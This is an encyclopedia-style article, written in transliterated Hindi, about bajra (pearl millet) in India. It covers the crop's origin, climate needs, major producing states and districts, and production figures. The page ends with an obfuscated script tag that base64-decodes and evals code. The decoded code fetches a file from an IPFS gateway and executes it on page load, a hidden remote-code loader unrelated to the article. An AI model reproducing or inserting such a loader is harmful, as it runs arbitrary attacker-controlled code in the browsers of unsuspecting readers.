बाजरा

thumb|250px|bajara bajara bharat ki pramukh fasaloan mean se ek hai, jisaka upayog bharatiy log bahut lambe samay se karate a rahe haian. bajare ki fasal mote anajoan mean sabase adhik ugayi jati hai. isaki kheti afrika aur bharatiy mahadvip mean pragetihasik kal se hi ki jati rahi hai. bajare ke sambandh mean yah mana jata hai ki yah mool roop se afrika ki fasal hai, jisaka bad mean bharatiy mahadvip mean pravesh hua. bharat mean bajara lagabhag eesa poorv do hazar varsh se ugaya jana nishchit kiya gaya hai. bajare ka yah vishesh gun hai ki yah sookha prabhavit kshetr mean bhi asani se ug jata hai aur uchch tapaman ko bhi sah leta hai. isilie bajara un kshetroan mean adhik ugaya jata hai, jahaan makka ya geanhooan ki fasal nahian ugayi ja sakati ya phir ye fasalean vahaan kam phal pati haian. vartaman samay mean mote ann utpadan ka lagabhag adha bhag bajara hi hota hai. bajara gramin janasankhya ka mukhy khadyann hai. isaki adhikaansh matra ka upayog desh mean kiya jata hai. desh mean 2006-07 ke dauran bajare ka kul utpadan 86 lakh tan hua.

bhaugolik dashaean

bajara ke lie jvar se adhik shushk jalavayu ki avashyakata hoti hai. yah 30 se 50 sentimitar tak varsha vali baluee bhoomi mean adhik utpann hota hai. yah 50 se 70 sentimitar varsha vale bhago mean bhi boya jata hai. atah bina sianchaee v kam upajaoo bhoomi mean bina khad dale hi bajara paida kiya jata hai. yadi varsha vahaan halki phuhar ke roop mean hoti rahe to bhi nikrisht bhoomi mean bhi isaka utpadan ho sakata hai. isalie bajara ki krishi bharat mean 80° deshantar ke pashchim mean sthit anupajaoo bhoomi mean adhik hoti hai. yah samanyatah dalahanoan ke sath milakar boya jata hai. yah mee se agast tak boya jata hai aur sitambar se janavari tak kat liya jata hai. isake lie ausat tapaman 15° se 32° seantigret tak upayukt rahata hai. bajara v jvar ko hari chari v sookhi, kintu paushtik ghas ke liye bhi paida paida kiya jata hai.

utpadak kshetr

bharat mean bajare ke mukhy utpadak rajy andhr pradesh, tamilanadu, gujarat, panjab, uttar pradesh, karnatak, aur rajasthan ke arddhashushk v shushk bhag haian. inamean bajara ke antargat 96 pratishat kshetr paya jata hai. bajara ke pramukh kshetr nimnalikhit haian- thumb|250px|bajare ka khet

1. rajasthan - ba damer, nagaur, jalaur, jodhapur, pali, sikar, jhuanjhunoo, bikaner, bharatapur, alavar, jaisalamer, aur savaee madhopur zile mean bajara ugaya jata hai. bajara ka sarvapratham utpadak rajy rajasthan hai.
2. maharashtr - maharashtr mean bajara nasik, dhooliya, satara, pune, saangali, aurangabad, sholapur, jalagaanv aur ahamadanagar zile mean ugaya jata hai.
3. gujarat - kachchh, amareli, surendranagar, bhavanagar, khe da, rajakot, mahasana, aur savarakaantha, jamanagar tatha joonagadh gujarat ke pramukh zile haian, jahaan bajare ki kheti ki jati hai.
4. uttar pradesh - agara, hatharas, firozabad, badayooan, aligadh, mathura, itava, muradabad, ilahabad, eta, mainapuri, pratapagadh, shahajahaanpur, farrookhabad, aur kanapur uttar pradesh ke ve pramukh zile haian, jahaan bajara adhik matra mean paida hota hai.
5. hariyana - hariyana ke hisar, gu dagaanv, rohatak aur mahendragadh pramukh bajara utpadak zile haian.
6. karnatak - bijapur, gulabargi, belagavi, rayachoor, bellari aur chitradurg mean bajara ugaya jata hai.
7. andhr pradesh - nalagoanda, prakasham, anantapur, chittoor, mahaboobanagar, gantoor, kurnool aur vishakhapattanam ziloan mean bajara bahut ugaya jata hai.

khapat

bharat mean bajare ka utpadan varsh 1960-1961 mean 33 lakh tan tha, jo 2008-2009 mean badhakar 88 lakh tan ho gaya. varsh 2008-2009 mean desh mean bajare ka prati hektear utpadan 1011 ki.gra. tha. bajare ka upayog khadyann v pashu ahar ke roop mean hota hai. sara hi utpadan desh mean hi khap jata hai. atah isaka sthaniy vyapar hi hota hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>